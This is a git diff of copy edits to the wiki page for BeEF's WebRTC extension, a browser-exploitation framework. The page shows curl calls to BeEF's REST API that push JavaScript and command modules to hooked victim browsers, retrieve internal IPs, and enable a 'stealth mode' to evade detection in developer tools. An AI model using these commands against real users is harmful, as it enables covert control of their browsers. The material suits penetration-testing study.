diff --git a/WebRTC-Extension.md b/WebRTC-Extension.md index 49a783d..fe229f9 100644 --- a/WebRTC-Extension.md +++ b/WebRTC-Extension.md @@ -7,13 +7,13 @@ By default, BeEF uses XMLHttpRequest objects to poll to your BeEF server every 5 BeEF has options to use the WebSocket protocol as well, which shifts the comms from a polling mechanism to a more bi-directional streaming method of sending and receiving data between the server and browsers. -The problem with both the hook polling and WebSocket communication is exposure of the BeEF server. Not only does the IP address of the BeEF server gets exposed over the network, the communications are visible in the "Network" tabs of browser developer tools. This increases the risk of the experienced user realizing that their browser is hooked. +The problem with both the hook polling and WebSocket communication is exposure of the BeEF server. Not only does the IP address of the BeEF server get exposed over the network, the communications are visible in the "Network" tabs of browser developer tools. This increases the risk of the experienced user realizing that their browser is hooked. [[Images/beef-hooks.png|align=center]] ## Configuration -to enable it, simply change enable to `true` +To enable WebRTC, simply change enable to `true` in the config.yaml file. ```bash beef: @@ -29,17 +29,17 @@ beef: ``` ## Utilization -WebRTC can be used to retrieve the internal (behind NAT) IP address of the victim machine, using the peer-to-peer connection framework. This command can be found under the Host module folder. +WebRTC can be used to retrieve the internal (behind NAT) IP address of the victim machine, using the peer-to-peer connection framework. This command can be found under the host module folder. -### console usage +### Console Usage -When this extension is written, the console module is still usable and supported. Unfortunately, it is no longer usable. +When this extension was written, the [console module](https://github.com/beefproject/beef/wiki/BeEF-Console) was still usable and supported. Unfortunately, this is no longer the case. -see https://blog.beefproject.com/2015/01/hooked-browser-meshed-networks-with_26.html for console usage examples +see https://blog.beefproject.com/2015/01/hooked-browser-meshed-networks-with_26.html for console usage examples. -## Rest API usage +## Rest API Usage -### Get WebRTC status of a hooked browser +### Get WebRTC Status of a Hooked Browser `GET /api/webrtc/status/:id` @@ -53,9 +53,9 @@ curl http://localhost:3000/api/webrtc/status/1?token=498641adfe687860b55fb90eb6a **Response** `{"success":true}` -that means WebRTC is available for that session. +this means WebRTC is available for that session. -### initiating WebRTC between two hooked browsers +### Initiating WebRTC Between Two Hooked Browsers `POST /api/webrtc/go` @@ -73,7 +73,7 @@ curl -d '{"from":1,"to":2}' \ `{"success":true}` -### Sending messages +### Sending Messages **Request** This sends a message between browsers 1 and 2. @@ -88,7 +88,7 @@ curl -d '{"from":1, "to":2, "message":"Just a plain message"}' \ `{"success":true}` -#### Sending javascript to execute +#### Sending javascript to Execute The built in message handler for executing javascript is `%`, sent just like a normal message. @@ -101,11 +101,11 @@ curl -d '{"from":1, "to":2, "message":"%alert(\"hello\");"}' \ http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca ``` -### stealth mode +### Stealth Mode -Stealth mode is also sent as a message between two browsers. The `to` browser will be put into stealth mode, tunnelling its communication with the BeEF server through the `from` browser. +Stealth mode is also sent as a message between two browsers. The `to` browser will be put into stealth mode, tunneling its communication with the BeEF server through the `from` browser. -### going into stealth mode +### Going into Stealth Mode **Request** @@ -116,7 +116,7 @@ curl -d '{"from":1, "to":2, "message":"!gostealth"}' \ http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca ``` -### getting out of stealth mode +### Getting out of Stealth Mode **Request** @@ -126,13 +126,13 @@ curl -d '{"from":1, "to":2, "message":"!endstealth"}' \ http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca ``` -### Executing modules through WebRTC +### Executing Modules Through WebRTC **Request** Tell browser 2 (without communicating with the BeEF server) to execute command 102 through browser 1 -the name is name of the option, and value is the corresponding option value. +the name is the name of the option, and value is the corresponding option value. ``` curl -d '{"from":1, "to":2, "cmdid":102, "options":[{"name":"Domain","value":"default_all"}]}' \ @@ -143,7 +143,7 @@ curl -d '{"from":1, "to":2, "cmdid":102, "options":[{"name":"Domain","value":"de The result will be displayed in the BeEF terminal output, and stored in the command events of the `from` browser. -### Getting event data from a browser +### Getting Event Data from a Browser `GET /api/webrtc/cmdevents/:id` @@ -163,7 +163,7 @@ curl http://127.0.0.1:3000/api/webrtc/cmdevents/1?token=498641adfe687860b55fb90e > the results of command execution are stored in the `from` browser. In this case, all command results from browser 2 are accessible through requesting events on browser 1. -For further information about the extension, read example RestAPI usage in +For further information about the extension, please see the example RestAPI usage in `/extensions/webrtc/rest/webrtc.rb`